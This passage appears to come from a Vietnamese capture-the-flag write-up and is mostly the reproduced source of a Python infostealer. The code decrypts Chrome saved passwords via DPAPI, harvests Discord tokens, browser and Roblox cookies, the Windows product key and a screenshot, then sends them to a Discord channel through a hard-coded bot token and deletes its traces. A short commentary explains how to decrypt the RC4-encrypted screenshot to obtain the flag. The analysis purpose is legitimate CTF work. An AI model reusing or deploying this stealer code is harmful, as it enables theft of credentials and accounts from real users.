def dpapi(encrypted):
    import ctypes
    import ctypes.wintypes

    class DATA_BLOB(ctypes.Structure):
        _fields_ = [('cbData', ctypes.wintypes.DWORD),
                    ('pbData', ctypes.POINTER(ctypes.c_char))]

    p = ctypes.create_string_buffer(encrypted, len(encrypted))
    blobin = DATA_BLOB(ctypes.sizeof(p), p)
    blobout = DATA_BLOB()
    retval = ctypes.windll.crypt32.CryptUnprotectData(
        ctypes.byref(blobin), None, None, None, None, 0, ctypes.byref(blobout))
    if not retval:
        raise ctypes.WinError()
    result = ctypes.string_at(blobout.pbData, blobout.cbData)
    ctypes.windll.kernel32.LocalFree(blobout.pbData)
    return result


def localdata():
    jsn = None
    with open(os.path.join(os.environ['LOCALAPPDATA'], r"Google\Chrome\User Data\Local State"), encoding='utf-8', mode="r") as f:
        jsn = json.loads(str(f.readline()))
    return jsn["os_crypt"]["encrypted_key"]


def decryptions(encrypted_txt):
    encoded_key = localdata()
    encrypted_key = base64.b64decode(encoded_key.encode())
    encrypted_key = encrypted_key[5:]
    key = dpapi(encrypted_key)
    nonce = encrypted_txt[3:15]
    cipher = rcipher(key)
    return decrypt(cipher, encrypted_txt[15:], nonce)


class chrome:
    def __init__(self):
        self.passwordList = []

    def chromedb(self):
        _full_path = os.path.join(ADP, DBP)
        _temp_path = os.path.join(ADP, 'sqlite_file')
        if os.path.exists(_temp_path):
            os.remove(_temp_path)
        shutil.copyfile(_full_path, _temp_path)
        self.pwsd(_temp_path)
        
    def pwsd(self, db_file):
        conn = sqlite3.connect(db_file)
        _sql = 'select signon_realm,username_value,password_value from logins'
        for row in conn.execute(_sql):
            host = row[0]
            if host.startswith('android'):
                continue
            name = row[1]
            value = self.cdecrypt(row[2])
            _info = '[==================]\nhostname => : %s\nlogin => : %s\nvalue => : %s\n[==================]\n\n' % (host, name, value)
            self.passwordList.append(_info)
        conn.close()
        os.remove(db_file)

    def cdecrypt(self, encrypted_txt):
        if sys.platform == 'win32':
            try:
                if encrypted_txt[:4] == b'\x01\x00\x00\x00':
                    decrypted_txt = dpapi(encrypted_txt)
                    return decrypted_txt.decode()
                elif encrypted_txt[:3] == b'v10':
                    decrypted_txt = decryptions(encrypted_txt)
                    return decrypted_txt[:-16].decode()
            except WindowsError:
                return None
        else:
            pass

    def saved(self):
        try:
            with open(r'C:\ProgramData\passwords.txt', 'w', encoding='utf-8') as f:
                f.writelines(self.passwordList)
        except WindowsError:
            return None

@bot.event
async def on_ready():
    print(f'Logged in as {bot.user}')
    
    channel = bot.get_channel(CHANNEL_ID)
    if not channel:
        print(f"Could not find channel with ID: {CHANNEL_ID}")
        return
    
    main = chrome()
    try:
        main.chromedb()
    except Exception as e:
        print(f"Error getting Chrome passwords: {e}")
    main.saved()
    
    await exfiltrate_data(channel)
    
    await bot.close()

async def exfiltrate_data(channel):
    try:
        hostname = requests.get("https://ipinfo.io/ip").text
    except:
        hostname = "Unknown"
    
    local = os.getenv('LOCALAPPDATA')
    roaming = os.getenv('APPDATA')
    paths = {
        'Discord': roaming + '\\Discord',
        'Discord Canary': roaming + '\\discordcanary',
        'Discord PTB': roaming + '\\discordptb',
        'Google Chrome': local + '\\Google\\Chrome\\User Data\\Default',
        'Opera': roaming + '\\Opera Software\\Opera Stable',
        'Brave': local + '\\BraveSoftware\\Brave-Browser\\User Data\\Default',
        'Yandex': local + '\\Yandex\\YandexBrowser\\User Data\\Default'
    }

    message = '\n'
    for platform, path in paths.items():
        if not os.path.exists(path):
            continue

        message += '```'
        tokens = sniff(path)

        if len(tokens) > 0:
            for token in tokens:
                message += f'{token}\n'
        else:
            pass
        message += '```'

    try:
        from PIL import ImageGrab
        from Crypto.Cipher import ARC4
        screenshot = ImageGrab.grab()
        screenshot_path = os.getenv('ProgramData') + r'\pay2winflag.jpg'
        screenshot.save(screenshot_path)

        with open(screenshot_path, 'rb') as f:
            image_data = f.read()

        key = b'tralalero_tralala'
        cipher = ARC4.new(key)
        encrypted_data = cipher.encrypt(image_data)

        encrypted_path = screenshot_path + '.enc'
        with open(encrypted_path, 'wb') as f:
            f.write(encrypted_data)

        await channel.send(f"Screenshot from {hostname} (Pay $500 for the key)", file=discord.File(encrypted_path))

    except Exception as e:
        print(f"Error taking screenshot: {e}")

    try:
        zname = r'C:\ProgramData\passwords.zip'
        newzip = zipfile.ZipFile(zname, 'w')
        newzip.write(r'C:\ProgramData\passwords.txt')
        newzip.close()
        
        await channel.send(f"Passwords from {hostname}", file=discord.File(zname))
    except Exception as e:
        print(f"Error with password file: {e}")

    try:
        usr = os.getenv("UserName")
        keys = subprocess.check_output('wmic path softwarelicensingservice get OA3xOriginalProductKey').decode().split('\n')[1].strip()
        types = subprocess.check_output('wmic os get Caption').decode().split('\n')[1].strip()
    except Exception as e:
        print(f"Error getting system info: {e}")
        usr = "Unknown"
        keys = "Unknown"
        types = "Unknown"

    cookie = [".ROBLOSECURITY"]
    cookies = []
    limit = 2000
    roblox = "No Roblox cookies found"

    try:
        cookies.extend(list(steal.chrome()))
    except Exception as e:
        print(f"Error stealing Chrome cookies: {e}")

    try:
        cookies.extend(list(steal.firefox()))
    except Exception as e:
        print(f"Error stealing Firefox cookies: {e}")

    try:
        for y in cookie:
            send = str([str(x) for x in cookies if y in str(x)])
            chunks = [send[i:i + limit] for i in range(0, len(send), limit)]
            for z in chunks:
                roblox = f'```{z}```'
    except Exception as e:
        print(f"Error processing cookies: {e}")

    embed = discord.Embed(title=f"Data from {hostname}", description="A victim's data was extracted, here's the details:", color=discord.Color.blue())
    embed.add_field(name="Windows Key", value=f"User: {usr}\nType: {types}\nKey: {keys}", inline=False)
    embed.add_field(name="Roblox Security", value=roblox[:1024], inline=False)
    embed.add_field(name="Tokens", value=message[:1024], inline=False)
    
    await channel.send(embed=embed)
    
    with open(r'C:\ProgramData\system_info.json', 'w', encoding='utf-8') as f:
        json.dump(system_info, f, indent=4, ensure_ascii=False)
    
    await channel.send(file=discord.File(r'C:\ProgramData\system_info.json'))

    try:
        os.remove(r'C:\ProgramData\pay2winflag.jpg')
        os.remove(r'C:\ProgramData\pay2winflag.jpg.enc')
        os.remove(r'C:\ProgramData\passwords.zip')
        os.remove(r'C:\ProgramData\passwords.txt')
        os.remove(r'C:\ProgramData\system_info.json')
    except Exception as e:
        print(f"Error cleaning up: {e}")

BOT_TOKEN = "MTM2NDIzNDEzNjE5MzMzOTQyNA.GHC4yD.ZUzwkrAEMW9GlLsmVnP7FbdY317MqM234Bd2vE"
CHANNEL_ID = 1371505369230344273

if __name__ == "__main__":
    bot.run(BOT_TOKEN)
```
vâng nó chính là con bot mà ta thấy. nó sẽ lấy toàn bộ thông tin và v.v gửi về cho con bot. quan trọng nhất là ta biết được nó encrypt hình với RC4 và key là
`key = tralalero_tralala`
Và ta chỉ cần làm như vậy trên cyberchief xong down về

![pay2winflag](https://hackmd.io/_uploads/SJcbiNzLll.jpg)

Và giờ ghép 2 flag lại ta sẽ có
**L3AK{Br40d0_st34L3r_0r_br41nr0t}**

Vì nó hơi dài nên sẽ có **Part2** mọi người tiếp tục theo dõi nha :3